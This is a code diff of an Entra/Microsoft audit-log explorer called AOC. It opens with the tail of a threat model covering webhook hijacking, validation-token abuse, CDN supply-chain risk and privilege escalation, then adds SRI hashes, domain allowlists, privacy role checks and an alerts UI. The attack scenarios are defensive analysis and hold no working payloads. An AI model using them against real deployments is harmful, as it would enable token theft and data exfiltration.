+3. Attacker receives change notifications for the subscribed resource
+
+**Mitigation:** Notifications without matching `clientState` are rejected when `WEBHOOK_CLIENT_SECRET` is configured. But it's empty by default.
+
+**Attack scenario 2 — Validation token abuse:**
+1. Attacker sends a POST to `/api/webhooks/graph?validationToken=<arbitrary content>`
+2. AOC echoes the token back as `text/plain`
+3. Could be used for cache poisoning or response splitting
+
+**Mitigation:** Length and ASCII validation added in v1.7.12.
+
+**Recommendation:**
+- Require `WEBHOOK_CLIENT_SECRET` to be set in production
+- Document that the webhook endpoint should NOT be exposed to the public internet
+
+---
+
+## 5. Supply Chain — MEDIUM
+
+### 5.1 CDN Scripts Without Subresource Integrity (SRI)
+
+**Finding:** The frontend loads two external scripts without SRI hashes:
+```html
+<script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
+<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script>
+```
+
+**Attack scenario:**
+1. `cdn.jsdelivr.net` or `alcdn.msauth.net` is compromised (supply chain attack)
+2. Malicious JavaScript is served instead of the legitimate library
+3. Malicious script can steal MSAL tokens, modify API requests, or exfiltrate data
+
+**Impact:** Complete frontend compromise — token theft, data exfiltration, UI spoofing.
+
+**Recommendation:**
+- Add SRI hashes to both script tags:
+  ```html
+  <script defer src="..." integrity="sha384-..." crossorigin="anonymous"></script>
+  ```
+- Or vendor the JS files and serve them from the same origin
+
+---
+
+## 6. Privilege Escalation — MEDIUM
+
+### 6.1 Application Permissions Bypass User Boundaries
+
+**Finding:** Because AOC uses application permissions (not delegated permissions), the backend can read audit logs for ALL users, not just the authenticated user. The privacy service filtering (`PRIVACY_SERVICES`) is the only boundary — and it's opt-in.
+
+**Impact:** A user with minimal Entra permissions (e.g., a regular user who can authenticate) can view audit logs for the entire tenant if:
+- `PRIVACY_SERVICES` is not configured, OR
+- `PRIVACY_SERVICE_ROLES` is not configured
+
+**Recommendation:**
+- Document that AOC should be restricted to admin/security roles via `AUTH_ALLOWED_ROLES`
+- Consider adding per-user event filtering (only show events where the authenticated user is the actor or target)
+
+---
+
+## 7. Miscellaneous Vectors — LOW
+
+### 7.1 Token Cache in Memory
+
+**Finding:** `_TOKEN_CACHE` in `graph/auth.py` is an in-memory dictionary. If an attacker gains code execution in the Python process, they can read the cache or call `get_access_token()` directly.
+
+**Impact:** Attacker with code execution can get Graph API tokens. But if they have code execution, they already have `CLIENT_SECRET` from memory or `.env`.
+
+### 7.2 MongoDB Connection String
+
+**Finding:** `MONGO_URI` contains credentials. If an attacker gains filesystem access, they can connect directly to MongoDB and bypass all AOC auth/privacy controls.
+
+**Mitigation:** MongoDB is internal to Docker network (not exposed to host in production compose file).
+
+### 7.3 Audit Trail Log Injection
+
+**Finding:** `audit_trail.log_action()` stores actions in MongoDB. The `details` dict could contain user-controlled data (e.g., filter values). If the audit log is ever rendered without escaping, this could lead to XSS.
+
+**Risk level:** LOW — audit logs are not currently rendered in the UI.
+
+---
+
+## Risk Summary
+
+| Vector | Severity | Likelihood | Requires |
+|--------|----------|------------|----------|
+| Client secret leak → full tenant read | **HIGH** | Medium | `.env` or container access |
+| LLM endpoint hijacking → data exfil | **HIGH** | Low | `.env` write access |
+| SIEM webhook hijacking → real-time exfil | **HIGH** | Low | `.env` write access |
+| CDN compromise → frontend token theft | **MEDIUM** | Low | Supply chain attack |
+| Role gating misconfig → all users access | **MEDIUM** | High | Misconfiguration |
+| Webhook subscription hijacking | **MEDIUM** | Low | URL discovery |
+| DNS compromise → fake JWKS | **MEDIUM** | Very low | Network compromise |
+| Application permissions bypass boundaries | **MEDIUM** | High | Default config |
+| Token replay | LOW | Low | Token theft |
+| Audit log injection | LOW | Low | Filter manipulation |
+
+---
+
+## Immediate Recommendations
+
+1. **Add LLM domain allowlist** (`LLM_ALLOWED_DOMAINS`) and validate at startup
+2. **Add SIEM SSRF guard** — reuse `_validate_llm_url()` for `SIEM_WEBHOOK_URL`
+3. **Add SRI hashes** to CDN script tags, or vendor the libraries
+4. **Add startup warning** when auth is enabled but no `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` configured
+5. **Document webhook security** — require `WEBHOOK_CLIENT_SECRET` in production
+6. **Consider Key Vault integration** for `CLIENT_SECRET` and `LLM_API_KEY`
+7. **Add per-user filtering option** — restrict events to those involving the authenticated user

VERSION

@@ -1 +1 @@
-1.2.0
+1.7.14

backend/Dockerfile

@@ -1,5 +1,9 @@
 FROM python:3.11-slim
 
+# Bake the version into the image at build time
+ARG VERSION=unknown
+ENV VERSION=${VERSION}
+
 # Security: run as non-root
 RUN groupadd -r aoc && useradd -r -g aoc aoc
 

backend/auth.py

@@ -1,3 +1,4 @@
+import contextvars
 import time
 
 import requests
@@ -8,11 +9,16 @@ from config import (
     AUTH_CLIENT_ID,
     AUTH_ENABLED,
     AUTH_TENANT_ID,
+    PRIVACY_SERVICE_ROLES,
+    PRIVACY_SERVICES,
 )
 from fastapi import Header, HTTPException
 from jwt import ExpiredSignatureError, InvalidTokenError, decode
 from jwt.algorithms import RSAAlgorithm
 
+# Thread-/task-local storage for verified auth claims (used by audit middleware)
+_auth_context: contextvars.ContextVar[dict | None] = contextvars.ContextVar("auth_context", default=None)
+
 JWKS_CACHE = {"exp": 0, "keys": []}
 logger = structlog.get_logger("aoc.auth")
 
@@ -82,9 +88,19 @@ def _decode_token(token: str, jwks):
         raise HTTPException(status_code=401, detail=f"Invalid token ({type(exc).__name__})") from None
 
 
+def user_can_access_privacy_services(claims: dict) -> bool:
+    """Check if the user has roles that grant access to privacy-sensitive services."""
+    if not PRIVACY_SERVICES or not PRIVACY_SERVICE_ROLES:
+        return True
+    user_roles = set(claims.get("roles", []) or claims.get("role", []) or [])
+    return bool(user_roles.intersection(PRIVACY_SERVICE_ROLES))
+
+
 def require_auth(authorization: str | None = Header(None)):
     if not AUTH_ENABLED:
-        return {"sub": "anonymous"}
+        user = {"sub": "anonymous"}
+        _auth_context.set(user)
+        return user
 
     if not authorization or not authorization.lower().startswith("bearer "):
         raise HTTPException(status_code=401, detail="Missing bearer token")
@@ -96,4 +112,5 @@ def require_auth(authorization: str | None = Header(None)):
     if not _allowed(claims, AUTH_ALLOWED_ROLES, AUTH_ALLOWED_GROUPS):
         raise HTTPException(status_code=403, detail="Forbidden")
 
+    _auth_context.set(claims)
     return claims

backend/config.py

@@ -1,4 +1,10 @@
-from pydantic_settings import BaseSettings, SettingsConfigDict
+from secrets_manager import load_key_vault_secrets
+
+# Pre-load Azure Key Vault secrets into os.environ before pydantic-settings reads them.
+# This is a no-op if AZURE_KEY_VAULT_NAME is not set.
+load_key_vault_secrets()
+
+from pydantic_settings import BaseSettings, SettingsConfigDict  # noqa: E402
 
 
 class Settings(BaseSettings):
@@ -42,14 +48,53 @@ class Settings(BaseSettings):
     # Alerting
     ALERTS_ENABLED: bool = False
 
-    # LLM / Natural Language Query
+    # AI / Natural Language Query
+    AI_FEATURES_ENABLED: bool = True
     LLM_API_KEY: str = ""
     LLM_BASE_URL: str = "https://api.openai.com/v1"
     LLM_MODEL: str = "gpt-4o-mini"
-    LLM_MAX_EVENTS: int = 50
+    LLM_MAX_EVENTS: int = 200
     LLM_TIMEOUT_SECONDS: int = 30
     LLM_API_VERSION: str = ""  # e.g. 2025-01-01-preview for Azure OpenAI
 
+    # Privacy / access control
+    # Entire services can be hidden, or specific operations can be gated.
+    PRIVACY_SERVICES: str = ""  # comma-separated, e.g. "Exchange,Teams"
+    PRIVACY_SENSITIVE_OPERATIONS: str = ""  # comma-separated, e.g. "MailItemsAccessed,Search-Mailbox,Send"
+    PRIVACY_SERVICE_ROLES: str = ""  # comma-separated, e.g. "SecurityAdministrator,ComplianceAdministrator"
+
+    # Redis (caching + async job queue)
+    REDIS_URL: str = "redis://localhost:6379/0"
+
+    # UI defaults
+    DEFAULT_PAGE_SIZE: int = 24
+
+    # Alert notifications
+    ALERT_WEBHOOK_URL: str = ""
+    ALERT_WEBHOOK_FORMAT: str = "generic"  # generic | slack | teams
+    ALERT_DEDUPE_MINUTES: int = 15
+
+    # Webhook security
+    WEBHOOK_CLIENT_SECRET: str = ""
+
+    # Rate limiting
+    RATE_LIMIT_ENABLED: bool = True
+    RATE_LIMIT_REQUESTS: int = 120
+    RATE_LIMIT_WINDOW_SECONDS: int = 60
+
+    # Security / docs exposure
+    DOCS_ENABLED: bool = False
+    METRICS_ALLOWED_IPS: str = "127.0.0.1,::1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
+
+    # LLM endpoint restriction (comma-separated domains, e.g. "api.openai.com,*.openai.azure.com")
+    LLM_ALLOWED_DOMAINS: str = ""
+
+    # SIEM webhook restriction (comma-separated domains)
+    SIEM_ALLOWED_DOMAINS: str = ""
+
+    # Optional Azure Key Vault integration for secrets
+    AZURE_KEY_VAULT_NAME: str = ""
+
 
 _settings = Settings()
 
@@ -77,9 +122,35 @@ SIEM_ENABLED = _settings.SIEM_ENABLED
 SIEM_WEBHOOK_URL = _settings.SIEM_WEBHOOK_URL
 ALERTS_ENABLED = _settings.ALERTS_ENABLED
 
+AI_FEATURES_ENABLED = _settings.AI_FEATURES_ENABLED
 LLM_API_KEY = _settings.LLM_API_KEY
 LLM_BASE_URL = _settings.LLM_BASE_URL
 LLM_MODEL = _settings.LLM_MODEL
 LLM_MAX_EVENTS = _settings.LLM_MAX_EVENTS
 LLM_TIMEOUT_SECONDS = _settings.LLM_TIMEOUT_SECONDS
 LLM_API_VERSION = _settings.LLM_API_VERSION
+
+PRIVACY_SERVICES = {s.strip() for s in _settings.PRIVACY_SERVICES.split(",") if s.strip()}
+PRIVACY_SENSITIVE_OPERATIONS = {o.strip() for o in _settings.PRIVACY_SENSITIVE_OPERATIONS.split(",") if o.strip()}
+PRIVACY_SERVICE_ROLES = {r.strip() for r in _settings.PRIVACY_SERVICE_ROLES.split(",") if r.strip()}
+
+REDIS_URL = _settings.REDIS_URL
+DEFAULT_PAGE_SIZE = _settings.DEFAULT_PAGE_SIZE
+
+ALERT_WEBHOOK_URL = _settings.ALERT_WEBHOOK_URL
+ALERT_WEBHOOK_FORMAT = _settings.ALERT_WEBHOOK_FORMAT
+ALERT_DEDUPE_MINUTES = _settings.ALERT_DEDUPE_MINUTES
+
+WEBHOOK_CLIENT_SECRET = _settings.WEBHOOK_CLIENT_SECRET
+
+RATE_LIMIT_ENABLED = _settings.RATE_LIMIT_ENABLED
+RATE_LIMIT_REQUESTS = _settings.RATE_LIMIT_REQUESTS
+RATE_LIMIT_WINDOW_SECONDS = _settings.RATE_LIMIT_WINDOW_SECONDS
+
+DOCS_ENABLED = _settings.DOCS_ENABLED
+METRICS_ALLOWED_IPS = _settings.METRICS_ALLOWED_IPS
+
+LLM_ALLOWED_DOMAINS = [d.strip().lower() for d in _settings.LLM_ALLOWED_DOMAINS.split(",") if d.strip()]
+SIEM_ALLOWED_DOMAINS = [d.strip().lower() for d in _settings.SIEM_ALLOWED_DOMAINS.split(",") if d.strip()]
+
+AZURE_KEY_VAULT_NAME = _settings.AZURE_KEY_VAULT_NAME

backend/database.py

@@ -7,9 +7,25 @@ from pymongo import ASCENDING, DESCENDING, TEXT, MongoClient
 client = MongoClient(MONGO_URI or "mongodb://localhost:27017")
 db = client[DB_NAME]
 events_collection = db["events"]
+saved_searches_collection = db["saved_searches"]
+alerts_collection = db["alerts"]
 logger = structlog.get_logger("aoc.database")
 
 
+def _dedupe_alert_rules():
+    """Remove duplicate alert_rules by name, keeping the oldest document."""
+    try:
+        pipeline = [
+            {"$sort": {"_id": ASCENDING}},
+            {"$group": {"_id": "$name", "first_id": {"$first": "$_id"}}},
+        ]
+        seen = {doc["_id"]: doc["first_id"] for doc in db["alert_rules"].aggregate(pipeline)}
+        for name, keep_id in seen.items():
+            db["alert_rules"].delete_many({"name": name, "_id": {"$ne": keep_id}})
+    except Exception:
+        pass  # Collection may not exist yet
+
+
 def setup_indexes(max_retries: int = 5, delay: float = 2.0):
     """Ensure MongoDB indexes exist. Retries on connection errors."""
     from time import sleep
@@ -20,6 +36,9 @@ def setup_indexes(max_retries: int = 5, delay: float = 2.0):
             events_collection.create_index([("timestamp", DESCENDING)])
             events_collection.create_index([("service", ASCENDING), ("timestamp", DESCENDING)])
             events_collection.create_index("id")
+            saved_searches_collection.create_index([("created_by", ASCENDING), ("created_at", DESCENDING)])
+            _dedupe_alert_rules()
+            db["alert_rules"].create_index("name", unique=True)
             events_collection.create_index(
                 [("actor_display", TEXT), ("raw_text", TEXT), ("operation", TEXT)],
                 name="text_search_index",

backend/frontend/index.html

@@ -3,29 +3,64 @@
 <head>
   <meta charset="UTF-8" />
   <meta name="viewport" content="width=device-width, initial-scale=1.0" />
-  <title>AOC Events</title>
+  <title>Admin Operations Center</title>
-  <link rel="stylesheet" href="/style.css?v=8" />
+  <link rel="stylesheet" href="/style.css?v=15" />
-  <script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
+  <script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js" integrity="sha384-WPtu0YHhJ3arcykfnv1JgUffWDSKRnqnDeTpJUbOc2os2moEmLkIdaeR0trPN4be" crossorigin="anonymous"></script>
-  <script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script>
+  <script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" integrity="sha384-DUSOaqAzlZRiZxkDi8hL7hXJDZ+X39ZOAYV9ZDx44gUv9pozmcunJH02tjSFLPnW" crossorigin="anonymous"></script>
 </head>
 <body>
   <div class="page" x-data="aocApp()" x-init="initApp()">
+    <nav class="topbar">
+      <div class="topbar__brand">
+        <span class="topbar__logo">🔍</span>
+        <span class="topbar__name">AOC</span>
+        <span class="version-badge" x-text="appVersion"></span>
+      </div>
+      <div class="topbar__links">
+        <a :href="repoUrl" target="_blank" rel="noopener">Repository</a>
+        <a :href="docsUrl" target="_blank" rel="noopener">Docs</a>
+      </div>
+      <div class="topbar__meta">
+        <template x-if="account">
+          <div class="user-chip">
+            <div class="user-avatar" x-text="(account.name || account.username || '?').charAt(0).toUpperCase()"></div>
+            <div class="user-details">
+              <span class="user-name" x-text="account.name || account.username || ''"></span>
+              <span class="user-email" x-text="account.username || ''"></span>
+            </div>
+          </div>
+        </template>
+        <template x-if="!account && authConfig?.auth_enabled">
+          <span class="login-hint">Not signed in</span>
+        </template>
+      </div>
+      <div class="topbar__actions">
+        <button id="fetchBtn" class="ghost btn--compact" aria-label="Fetch latest audit logs" @click="fetchLogs()">Fetch</button>
+        <button id="refreshBtn" class="ghost btn--compact" aria-label="Refresh events" @click="loadEvents(currentCursor)">Refresh</button>
+        <button id="authBtn" class="ghost btn--compact" aria-label="Login" x-text="authBtnText" @click="toggleAuth()"></button>
+      </div>
+    </nav>
+
     <header class="hero">
       <div>
         <p class="eyebrow">Admin Operations Center</p>
-        <h1>Directory Audit Explorer</h1>
+        <h1>Audit Log Explorer</h1>
-        <p class="lede">Filter Microsoft Entra audit events by user, app, time, action, and action type.</p>
+        <p class="lede">Search and review Microsoft audit events from Entra, Intune, Exchange, SharePoint, and Teams.</p>
       </div>
-      <div class="cta">
+      <div class="alert-summary" x-show="alertSummary.total_open > 0">
-        <button id="authBtn" class="ghost" aria-label="Login" x-text="authBtnText" @click="toggleAuth()"></button>
+        <div class="alert-badge alert-badge--high" x-show="alertSummary.high > 0" x-text="alertSummary.high"></div>
-        <button id="fetchBtn" aria-label="Fetch latest audit logs" @click="fetchLogs()">Fetch new</button>
+        <div class="alert-badge alert-badge--medium" x-show="alertSummary.medium > 0" x-text="alertSummary.medium"></div>
-        <button id="refreshBtn" aria-label="Refresh events" @click="loadEvents(currentCursor)">Refresh</button>
+        <div class="alert-badge alert-badge--low" x-show="alertSummary.low > 0" x-text="alertSummary.low"></div>
+        <span class="alert-label">open alerts</span>
       </div>
     </header>
 
     <section class="panel">
-      <h3>Source Health</h3>
+      <div class="panel-header panel-header--collapsible" @click="togglePanel('sourceHealth')">
-      <div class="source-health">
+        <h3>Source Health</h3>
+        <span class="panel-toggle" :class="panelState.sourceHealth ? 'panel-toggle--open' : ''">▸</span>
+      </div>
+      <div x-show="panelState.sourceHealth">
         <template x-for="src in sourceHealth" :key="src.source">
           <div class="health-card">
             <strong x-text="src.source"></strong>
@@ -39,50 +74,160 @@
     </section>
 
     <section class="panel">
-      <h3>Ask a question</h3>
+      <div class="panel-header panel-header--collapsible" @click="togglePanel('alerts')">
-      <form class="ask-form" @submit.prevent="askQuestion()">
+        <h3>Alerts</h3>
-        <div class="ask-row">
+        <div style="display:flex;align-items:center;gap:10px;">
-          <input
+          <span x-text="`${alertSummary.total_open} open`" class="alert-open-count"></span>
-            type="text"
+          <span class="panel-toggle" :class="panelState.alerts ? 'panel-toggle--open' : ''">▸</span>
-            placeholder="What happened to device ABC123 in the last 3 days?"
-            x-model="askQuestionText"
-            class="ask-input"
-          />
-          <button type="submit" :disabled="askLoading" x-text="askLoading ? 'Thinking…' : 'Ask'">Ask</button>
         </div>
-        <div x-show="hasActiveFilters()" class="ask-filter-hint">
+      </div>
-          <small>Respecting active filters: <span x-text="activeFilterSummary()"></span></small>
+      <div x-show="panelState.alerts">
-        </div>
+        <div class="alert-filters">
-      </form>
+        <select x-model="alertsFilter.status" @change="alertsPage = 1; loadAlerts()">
-      <template x-if="askAnswer">
+          <option value="">All statuses</option>
-        <div class="ask-result">
+          <option value="open">Open</option>
-          <div x-show="askLlmError" class="ask-error" x-text="askLlmError"></div>
+          <option value="acknowledged">Acknowledged</option>
-          <div class="ask-answer" x-html="askAnswerHtml"></div>
+          <option value="resolved">Resolved</option>
-          <template x-if="askEvents.length">
+          <option value="false_positive">False Positive</option>
-            <div class="ask-events">
+        </select>
-              <h4>Referenced events</h4>
+        <select x-model="alertsFilter.severity" @change="alertsPage = 1; loadAlerts()">
-              <template x-for="(evt, idx) in askEvents" :key="evt.id || idx">
+          <option value="">All severities</option>
-                <article class="event event--compact">
+          <option value="high">High</option>
-                  <div class="event__meta">
+          <option value="medium">Medium</option>
-                    <span class="pill" x-text="evt.display_category || evt.service || '—'"></span>
+          <option value="low">Low</option>
-                    <span class="pill" :class="['success','succeeded','ok','passed'].includes((evt.result || '').toLowerCase()) ? 'pill--ok' : 'pill--warn'" x-text="evt.result || '—'"></span>
+        </select>
-                  </div>
+      </div>
-                  <h3 x-text="evt.operation || '—'"></h3>
+      <div class="alerts-list" x-show="alerts.length > 0">
-                  <p class="event__detail" x-show="evt.display_summary"><strong>Summary:</strong> <span x-text="evt.display_summary"></span></p>
+        <template x-for="alert in alerts" :key="alert._id || alert.event_id">
-                  <p class="event__detail"><strong>Actor:</strong> <span x-text="evt.actor_display || '—'"></span></p>
+          <div class="alert-card" :class="'alert-card--' + alert.severity">
-                  <p class="event__detail"><strong>Target:</strong> <span x-text="Array.isArray(evt.target_displays) ? evt.target_displays.join(', ') : '—'"></span></p>
+            <div class="alert-card__meta">
-                  <p class="event__detail"><strong>When:</strong> <span x-text="evt.timestamp ? new Date(evt.timestamp).toLocaleString() : '—'"></span></p>
+              <span class="pill" :class="alert.severity === 'high' ? 'pill--err' : (alert.severity === 'medium' ? 'pill--warn' : '')" x-text="alert.severity"></span>
-                </article>
+              <span class="pill" x-text="alert.status"></span>
-              </template>
+              <small x-text="new Date(alert.timestamp).toLocaleString()"></small>
             </div>
-          </template>
+            <strong x-text="alert.rule_name"></strong>
-          <button type="button" class="ghost" @click="clearAsk()">Clear</button>
+            <p x-text="alert.message"></p>
-        </div>
+            <div class="alert-card__actions">
-      </template>
+              <button type="button" class="ghost btn--compact" @click="updateAlertStatus(alert._id, 'acknowledged')" x-show="alert.status === 'open'">Acknowledge</button>
+              <button type="button" class="ghost btn--compact" @click="updateAlertStatus(alert._id, 'resolved')" x-show="alert.status !== 'resolved' && alert.status !== 'false_positive'">Resolve</button>
+              <button type="button" class="ghost btn--compact" @click="updateAlertStatus(alert._id, 'false_positive')" x-show="alert.status !== 'false_positive'">False Positive</button>
+              <button type="button" class="ghost btn--compact" @click="updateAlertStatus(alert._id, 'open')" x-show="alert.status !== 'open'">Reopen</button>
+            </div>
+          </div>
+        </template>
+      </div>
+      <div class="alerts-empty" x-show="alerts.length === 0">
+        <p>No alerts match the current filters. Alerts appear here when rules trigger during event ingestion.</p>
+      </div>
+      <div class="pagination" x-show="alertsTotal > 20">
+        <button type="button" :disabled="alertsPage === 1" @click="alertsPage--; loadAlerts()">Prev</button>
+        <span x-text="`Page ${alertsPage}`"></span>
+        <button type="button" :disabled="alertsPage * 20 >= alertsTotal" @click="alertsPage++; loadAlerts()">Next</button>
+      </div>
+      </div>
     </section>
 
     <section class="panel">
-      <form id="filters" class="filters" @submit.prevent="resetPagination(); loadEvents()">
+      <div class="panel-header panel-header--collapsible" @click="togglePanel('rules')">
+        <h3>Alert Rules</h3>
+        <div style="display:flex;align-items:center;gap:10px;">
+          <button type="button" class="btn--compact" @click.stop="openRuleEditor()">+ Add rule</button>
+          <span class="panel-toggle" :class="panelState.rules ? 'panel-toggle--open' : ''">▸</span>
+        </div>
+      </div>
+      <div x-show="panelState.rules">
+        <div class="rules-list">
+        <template x-for="rule in rules" :key="rule.id">
+          <div class="rule-card" :class="rule.enabled ? '' : 'rule-card--disabled'">
+            <div class="rule-card__meta">
+              <span class="pill" :class="rule.severity === 'high' ? 'pill--err' : (rule.severity === 'medium' ? 'pill--warn' : '')" x-text="rule.severity"></span>
+              <label class="toggle-label">
+                <input type="checkbox" :checked="rule.enabled" @change="toggleRule(rule.id, $event.target.checked)">
+                <span x-text="rule.enabled ? 'On' : 'Off'"></span>
+              </label>
+            </div>
+            <strong x-text="rule.name"></strong>
+            <p x-text="rule.message"></p>
+            <div class="rule-card__conditions">
+              <template x-for="(cond, idx) in rule.conditions" :key="idx">
+                <span class="pill pill--tag" x-text="`${cond.field} ${cond.op} ${cond.value}`"></span>
+              </template>
+            </div>
+            <div class="rule-card__actions">
+              <button type="button" class="ghost btn--compact" @click="openRuleEditor(rule)">Edit</button>
+              <button type="button" class="ghost btn--compact" @click="deleteRule(rule.id)">Delete</button>
+            </div>
+          </div>
+        </template>
+      </div>
+      <div class="rules-empty" x-show="rules.length === 0">
+        <p>No custom rules yet. Pre-built admin-ops rules are active by default. Add your own rules to detect specific patterns.</p>
+      </div>
+      </div>
+
+      <div id="ruleModal" class="modal hidden" role="dialog" aria-modal="true" :class="{ 'hidden': !ruleModalOpen }">
+        <div class="modal__content" style="max-width: 600px;">
+          <div class="modal__header">
+            <h3 x-text="ruleEditId ? 'Edit Rule' : 'New Rule'"></h3>
+            <button type="button" class="ghost" @click="ruleModalOpen = false">Close</button>
+          </div>
+          <form class="rule-form" @submit.prevent="saveRule()">
+            <label>
+              Name
+              <input type="text" x-model="ruleEdit.name" placeholder="e.g. Failed CA Policy" required />
+            </label>
+            <label>
+              Severity
+              <select x-model="ruleEdit.severity">
+                <option value="low">Low</option>
+                <option value="medium">Medium</option>
+                <option value="high">High</option>
+              </select>
+            </label>
+            <label>
+              Message
+              <textarea x-model="ruleEdit.message" placeholder="What should the alert say?" rows="2"></textarea>
+            </label>
+            <div class="rule-conditions">
+              <span>Conditions (all must match)</span>
+              <template x-for="(cond, idx) in ruleEdit.conditions" :key="idx">
+                <div class="condition-row">
+                  <input type="text" x-model="cond.field" placeholder="field" list="ruleFieldOptions" required />
+                  <select x-model="cond.op">
+                    <option value="eq">equals</option>
+                    <option value="neq">not equals</option>
+                    <option value="contains">contains</option>
+                    <option value="in">in list</option>
+                    <option value="after_hours">after hours</option>
+                  </select>
+                  <input type="text" x-model="cond.value" placeholder="value" :required="cond.op !== 'after_hours'" />
+                  <button type="button" class="ghost btn--compact" @click="ruleEdit.conditions.splice(idx, 1)">−</button>
+                </div>
+              </template>
+              <button type="button" class="ghost btn--compact" @click="ruleEdit.conditions.push({field:'', op:'eq', value:''})">+ Add condition</button>
+            </div>
+            <datalist id="ruleFieldOptions">
+              <option value="service"></option>
+              <option value="operation"></option>
+              <option value="result"></option>
+              <option value="actor_display"></option>
+              <option value="timestamp"></option>
+            </datalist>
+            <div class="rule-form__actions">
+              <button type="submit">Save</button>
+              <button type="button" class="ghost" @click="ruleModalOpen = false">Cancel</button>
+            </div>
+          </form>
+        </div>
+      </div>
+    </section>
+
+    <section class="panel">
+      <div class="panel-header panel-header--collapsible" @click="togglePanel('filters')">
+        <h3>Filters</h3>
+        <span class="panel-toggle" :class="panelState.filters ? 'panel-toggle--open' : ''">▸</span>
+      </div>
+      <form id="filters" class="filters" @submit.prevent="resetPagination(); loadEvents()" x-show="panelState.filters">
         <div class="filter-row">
           <label>
             User (name/UPN)
@@ -155,26 +300,88 @@
           <div class="actions">
             <button type="submit">Apply filters</button>
             <button type="button" id="clearBtn" class="ghost" @click="clearFilters()">Clear</button>
+            <button type="button" class="ghost" @click="saveCurrentFilters()">Save filters</button>
             <button type="button" class="ghost" @click="bulkTagMatching()">Bulk tag matching</button>
             <button type="button" class="ghost" @click="exportJSON()">Export JSON</button>
             <button type="button" class="ghost" @click="exportCSV()">Export CSV</button>
           </div>
         </div>
+        <div class="filter-row" x-show="savedSearches.length">
+          <div class="saved-searches">
+            <span>Saved:</span>
+            <template x-for="ss in savedSearches" :key="ss.id">
+              <span class="pill pill--tag" style="cursor:pointer;" @click="applySavedSearch(ss)">
+                <span x-text="ss.name"></span>
+                <button type="button" class="link" style="margin-left:4px;" @click.stop="deleteSavedSearch(ss.id)">×</button>
+              </span>
+            </template>
+          </div>
+        </div>
       </form>
     </section>
 
-    <section class="panel">
+    <section class="panel" x-show="aiFeaturesEnabled">
-      <div class="panel-header">
+      <div class="panel-header panel-header--collapsible" @click="togglePanel('ask')">
-        <h2>Events</h2>
+        <h3>Ask a question</h3>
-        <span id="count" x-text="countText"></span>
+        <span class="panel-toggle" :class="panelState.ask ? 'panel-toggle--open' : ''">▸</span>
       </div>
-      <div id="status" class="status" aria-live="polite" x-text="statusText"></div>
+      <form class="ask-form" @submit.prevent="askQuestion()" x-show="panelState.ask">
+        <div class="ask-row">
+          <input
+            type="text"
+            placeholder="What happened to device ABC123 in the last 3 days?"
+            x-model="askQuestionText"
+            class="ask-input"
+          />
+          <button type="submit" :disabled="askLoading" x-text="askLoading ? 'Thinking…' : 'Ask'">Ask</button>
+        </div>
+        <div x-show="hasActiveFilters()" class="ask-filter-hint">
+          <small>Respecting active filters: <span x-text="activeFilterSummary()"></span></small>
+        </div>
+      </form>
+      <template x-if="askAnswer">
+        <div class="ask-result">
+          <div x-show="askLlmError" class="ask-error" x-text="askLlmError"></div>
+          <div class="ask-answer" x-html="askAnswerHtml"></div>
+          <template x-if="askEvents.length">
+            <div class="ask-events">
+              <h4>Referenced events</h4>
+              <template x-for="(evt, idx) in askEvents" :key="evt.id || idx">
+                <article class="event event--compact">
+                  <div class="event__meta">
+                    <span class="pill pill--clickable" x-text="evt.display_category || evt.service || '—'" @click="filterByService(evt.service || evt.display_category)" title="Filter by this service"></span>
+                    <span class="pill pill--clickable" :class="['success','succeeded','ok','passed','true'].includes((evt.result || '').toLowerCase()) ? 'pill--ok' : 'pill--warn'" x-text="evt.result || '—'" @click="filterByResult(evt.result)" title="Filter by this result"></span>
+                  </div>
+                  <h3 x-text="evt.operation || '—'"></h3>
+                  <p class="event__detail" x-show="evt.display_summary"><strong>Summary:</strong> <span x-text="evt.display_summary"></span></p>
+                  <p class="event__detail"><strong>Actor:</strong> <span x-text="evt.actor_display || '—'"></span></p>
+                  <p class="event__detail"><strong>Target:</strong> <span x-text="Array.isArray(evt.target_displays) ? evt.target_displays.join(', ') : '—'"></span></p>
+                  <p class="event__detail"><strong>When:</strong> <span x-text="evt.timestamp ? new Date(evt.timestamp).toLocaleString() : '—'"></span></p>
+                </article>
+              </template>
+            </div>
+          </template>
+          <button type="button" class="ghost" @click="clearAsk()">Clear</button>
+        </div>
+      </template>
+    </section>
+
+    <section class="panel">
+      <div class="panel-header panel-header--collapsible" @click="togglePanel('events')">
+        <h2>Events</h2>
+        <div style="display:flex;align-items:center;gap:10px;">
+          <span id="count" x-text="countText"></span>
+          <span class="panel-toggle" :class="panelState.events ? 'panel-toggle--open' : ''">▸</span>
+        </div>
+      </div>
+      <div x-show="panelState.events">
+        <div id="status" class="status" aria-live="polite" x-text="statusText"></div>
       <div id="events" class="events">
         <template x-for="(evt, idx) in events" :key="evt._id || evt.id || idx">
           <article class="event">
             <div class="event__meta">
-              <span class="pill" x-text="evt.display_category || evt.service || '—'"></span>
+              <span class="pill pill--clickable" x-text="evt.display_category || evt.service || '—'" @click="filterByService(evt.service || evt.display_category)" title="Filter by this service"></span>
-              <span class="pill" :class="['success','succeeded','ok','passed'].includes((evt.result || '').toLowerCase()) ? 'pill--ok' : 'pill--warn'" x-text="evt.result || '—'"></span>
+              <span class="pill pill--clickable" :class="['success','succeeded','ok','passed','true'].includes((evt.result || '').toLowerCase()) ? 'pill--ok' : 'pill--warn'" x-text="evt.result || '—'" @click="filterByResult(evt.result)" title="Filter by this result"></span>
             </div>
             <h3 x-text="evt.operation || '—'"></h3>
             <p class="event__detail" x-show="evt.display_summary"><strong>Summary:</strong> <span x-text="evt.display_summary"></span></p>
@@ -208,17 +415,41 @@
         <span x-text="`Page ${cursorStack.length + 1}`"></span>
         <button type="button" id="nextPage" :disabled="!nextCursor" @click="goNext()">Next</button>
       </div>
+      </div>
     </section>
 
     <div id="modal" class="modal hidden" role="dialog" aria-modal="true" aria-labelledby="modalTitle" :class="{ 'hidden': !modalOpen }">
       <div class="modal__content">
         <div class="modal__header">
